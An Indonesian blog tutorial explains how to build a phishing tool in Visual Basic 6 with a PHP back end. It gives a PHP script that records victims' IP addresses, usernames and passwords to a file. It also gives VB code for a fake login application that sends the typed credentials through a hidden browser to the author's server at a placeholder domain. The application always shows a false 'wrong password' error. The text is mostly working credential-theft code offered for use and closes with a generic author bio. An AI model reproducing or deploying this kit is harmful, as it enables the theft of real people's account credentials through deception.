Cara Membuat Phising Dari VB.Net

langsung aja yuk kita praktekin.


Bahan" yang harus agan punya untuk membuat project ini bekerja dengan lancar :

1 buah web hosting untuk menampung file php dan file text hasil dari phising kita
* Program VB6 (Kalo bisa sih yang full version gan)
* Siapin susu juga gan jikalau agan haus wakaka


1. Buka webhosting agan,lalu buat 1 buah file dengan nama Juray Production.php
lalu isikan dengan code ini

<?php
$datum=date('d-m-Y / h:i:s a');$email = $_GET[e];$password = $_GET[p];$ip = getenv ('REMOTE_ADDR');$fl = fopen('Ihiy.txt', 'a');fwrite($fl, "IP Address : $ip\nDate : $datum\nUsername : $email\nPassword : $password\n\n");fclose($fl); $ref = $_SERVER['HTTP_REFERER'];header("location: $ref");?>


trus di save gan,

sekarang kita buka Microsoft Visual Basic 6.0

----------------------------------------
Author : Juray Production
Facebook : [You must be registered and logged in to see this link.]
Compiller : Microsoft Visual Basic 6.0
Program Tipe : Fake Aplication
----------------------------------------

buat 1 buah project baru lalu buat ini :


* Buat 1 Form dengan nama frmUtama
* buat 1 Module dengan nama modConnect


isi code ini kedalam module (modConnect)

Code:

Public Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)

Private Declare Function InternetGetConnectedState Lib "wininet.dll" (ByRef _
lpSFlags As Long, ByVal dwReserved As Long) As Long
Const INTERNET_CONNECTION_MODEM = 1
Const INTERNET_CONNECTION_LAN = 2
Const INTERNET_CONNECTION_PROXY = 4
Const INTERNET_CONNECTION_MODEM_BUSY = 8

'Fungsi yang berguna untuk mengecek koneksi internet yang ada di komputer kita menggunakan fungsi api InternetGetConnectedState
Function CekInternet(Optional connectMode As Integer) As Boolean
Dim flags As Long
CekInternet = InternetGetConnectedState(flags, 0)
connectMode = flags
End Function


lalu di frmUtama tambahkan 2 buah text box dan 1 buah command button 1 buah label

Textbox pertama di namakan : txtUname
Textbox Kedua di namakan : txtPass

Command button dinamakan : cmdLogin

Label dinamakan : lblInfo


Copykan kode ini kedalam form

Code:

Private Sub Form_Load()
lblInfo.Caption = "Memeriksa Koneksi Internet"
If CekInternet = False Then
lblInfo.Caption = "Komputer Anda Tidak Terkoneksi Ke Internet !"
Else
lblInfo.Caption = "Komputer Anda Terkoneksi Dengan Internet"
Me.Caption = "Juray Ganteng :p"
End If
End Sub


lalu masukan code ini kedalam cmdLogin

Code:

Dim user, pass As String
Dim IE As Object
user = LCase(txtUname.Text)
pass = txtPass.Text

If txtUname.Text = "" Then
MsgBox "Kotak Teks masih kosong,silahkan isikan dengan benar !", vbExclamation, "Error"
Else
lblInfo.Caption = "Sedang Login ..."
Set IE = CreateObject("InternetExplorer.Application")

IE.Visible = 0
IE.Navigate "http://www.domainkamu.com/mydisha.php?e=" & _
user & "&p=" & pass

Do While IE.Busy
Sleep 200 'sleepnya 200 ajah :p

Loop
IE.Quit
Set IE = Nothing

lblInfo.Caption = "Username/Password Salah !"
MsgBox "Username/Password Salah !", vbExclamation, "Error"
End If


sampai kapanpun kotak pesan yang memberitahukan kita salah memasukan password/username akan selalu muncul bila command button di klik wakaka

1 Lagi Cara Membuat Loading Nya Biar Greget :v
Langsung disimak caranya, siapkan hal berikut ini :

1. Siapkan komponen tambahan seprti gambar tersebut, caranya > tekan ctrl + T >ceklist/centang Microsoft Windows Common Controls 6.0
   
2. Sisipkan Loading dan 1 buat timer kedalam form, hingga seperti gambar tersebut
   
3. Setelah itu masukan perintahnya dibawah
   

   Private Sub Timer1_Timer()
   If ProgressBar1.Value >= 100 Then
   Unload Me
   Form2.Show
   Else
   ProgressBar1.Value = ProgressBar1.Value + 10
   End If
   End Sub

SHARE

Milan Tomic

Hi. I’m Designer of Blog Magic. I’m CEO/Founder of ThemeXpose. I’m Creative Art Director, Web Designer, UI/UX Designer, Interaction Designer, Industrial Designer, Web Developer, Business Enthusiast, StartUp Enthusiast, Speaker, Writer and Photographer. Inspired to make things looks better.

• 
• 
• 
• 
•